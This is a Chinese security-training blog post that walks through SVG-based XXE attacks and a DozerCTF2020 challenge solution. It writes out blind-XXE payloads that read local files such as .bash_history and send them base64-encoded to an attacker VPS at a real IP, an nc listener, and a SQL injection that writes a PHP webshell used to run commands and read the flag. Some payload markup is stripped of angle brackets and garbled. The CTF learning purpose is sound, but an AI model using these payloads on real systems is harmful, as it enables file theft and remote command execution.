当前位置:网站首页 > 网络安全培训 > 正文

浅谈SVG的两个黑魔法

freebuffreebuf 2020-12-01 356 0

本文来源:蚁景科技
本文首发于“合天网安实验室”作者:Kawhi

本文涉及靶场知识点:

XXE漏洞分析与实践:">这里有几个需要注意的点:ip换成自己的vps的ip这里的会被xml解析成%,如果直接用%的话我本地会报错。注意这里使用伪协议读取文件内容,是因为xml解析器支持使用php://filter进行编码,至于为什么要使用伪协议对内容进行一个编码呢,我自己在本地做测试的时候,发现如果文件的内容如果只是简单的字母数字不加伪协议也可以,但是一旦带有换行或者特殊的符号就会爆一个warning invaild url,所以保险起见还是加上,最后对文件内容做一个base64的解码就行。最后我们POST提交的payload
?xml version="1.0"?> !DOCTYPE Note [     !ENTITY % remote SYSTEM "http://ip/xml.dtd">     %remote;     %start;     %send; ]>这里的ip同样换成自己的vps的ip下一步在VPS上开启监听1234端口
nc -lvp 1234然后我们抓xml.php的POST包并发送payload可以看到在vps上成功接收到了我本地C:/WINDOWS/win.ini这个文件的内容。我们来梳理一下他的整个调用过程
  1. 首先我们payload中的% remote去获取vps上的xml.dtd
  2. 然后xml.dtd中的% start去调用% file
  3. % file获取服务器上的C:/WINDOWS/win.ini文件并将他base64编码
  4. 最后通过% send将数据发送到vps监听的1234端口上
这就是XXE实现外带数据的整个流程,那么这个如何结合SVG呢,这里通过一道我之前打比赛的一道题为例子:svgggggg!(DozerCTF2020)这道题当时比赛的时候没有做出来,因为当时水平有限,并没有想到svg也是xml格式,可以用来XXE,这道题确实质量可以,学到了很多新的姿势,下面给出我复现的过程。题目给的两个hint:
  • 用户r1ck的操作记录在哪儿来着
  • 如果你发现了sql注入,直接getshell吧,flag在/app目录里
复现过程如下:打开网页,有一个框要求输入URL,然后检查URL指向的file是不是svg图片,如果请求的文件不是svg的话就会返回Unauthorized type!我们先写一个简单的SVG图片源码放在vps上,保存为1.svg
?xml version="1.0" encoding="UTF-8"?>!DOCTYPENote[!ENTITYfile"HELLO">]>svgxmlns="http://www.w3.org/2000/svg"height="200"width="200">texty="20"font-size="20">/text>/svg>提交SVG图片源码地址发现实体成功显示,然后我们尝试读取一下用户的history文件
?xml version="1.0" encoding="UTF-8"?>!DOCTYPENote[!ENTITY file SYSTEM "file:///home/r1ck/.bash_history"> ]>svgxmlns="http://www.w3.org/2000/svg"height="200"width="200">texty="20"font-size="20">/text>/svg>页面虽然正常返回信息,但是并不能直接读到我们想要的东西,但是无回显,所以这里就可以利用到盲XXE来外带数据了,也就是通过加载外部一个dtd文件,然后把读取结果以HTTP请求的方式发送到自己的VPS。构造1.svg
?xml version="1.0" encoding="UTF-8"?>!DOCTYPENote[!ENTITY lab SYSTEM "file:///home/r1ck/.bash_history"> !ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///home/r1ck/.bash_history"> !ENTITY % remote SYSTEM "http://39.105.158.221:1234/xml.dtd"> %remote; %start; %send; ]>svgxmlns="http://www.w3.org/2000/svg"height="200"width="200">texty="20"font-size="20">/text>/svg>构造xml.dtd
!ENTITY % start "!ENTITY  send SYSTEM 'http://ip:1234/?%file;'>">然后我们把1.svg和xml.dtd放到我们的vps上,然后在我们的vps上监听1234端口,再在网页提交1.svg的链接即可成功读取到.bash_history,内容如下:
cd /app php -S 0.0.0.0:8080可以得知在8080端口有另外一个web服务,我们继续利用XXE数据外带读取源码,修改1.svg的一部分内容如下,其余操作一样
!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/app/index.php">读取到源码如下:
!doctype html>html>head>meta charset="UTF-8">title>index/title>/head>Hi!You Find Me .Flag is nearby.body>/body>/html>?php  $conn=mysql_connect('127.0.0.1','root','');mysql_select_db('security');if($_GET['id']){$id=$_GET['id'];}else$id=1;$sql="select * from user where id='$id'";$result=mysql_query($sql,$conn);$arr=mysql_fetch_assoc($result);print_r($arr);?>发现sql注入,没有任何的过滤,直接利用into outfile写个一句话木马,当然这里要注意的是传入的时候要url编码。
http://127.0.0.1:8080/index.php?id=-1' union select 1,'?php system($_GET[cmd]);>' into outfile'/app/dashabi.php'#写完shell之后,继续利用数据外带读取内容,重复上面的步骤即可。读取文件目录:
!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/dashabi.php?cmd=ls">读取flag:
!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/dashabi.php?cmd=cat%20H3re_1s_y0ur_f14g.php">

总结

SVG算是一个比较容易让人忽视的点,但是他造成的一些问题却是我们不能够忽视的,在CTF中如果有些题目没有限制SVG这个点的话,我们就可以尝试用他来进行XSS或者XXE,然后在查阅资料的过程,发现在国外有人总结了SVG的攻击XSS的一些payload以及防御的方案,具体可以参考:
https://svg.digi.ninja/
https://github.com/digininja/svg_xss

参考链接

http://yulige.top/?p=665
https://www.rootnetsec.com/bsidessf-svgmagick/
https://www.freebuf.com/vuls/207639.html

转载请注明来自网盾网络安全培训,本文标题:《浅谈SVG的两个黑魔法》

标签:SVG

关于我

欢迎关注微信公众号

关于我们

网络安全培训,黑客培训,渗透培训,ctf,攻防

标签列表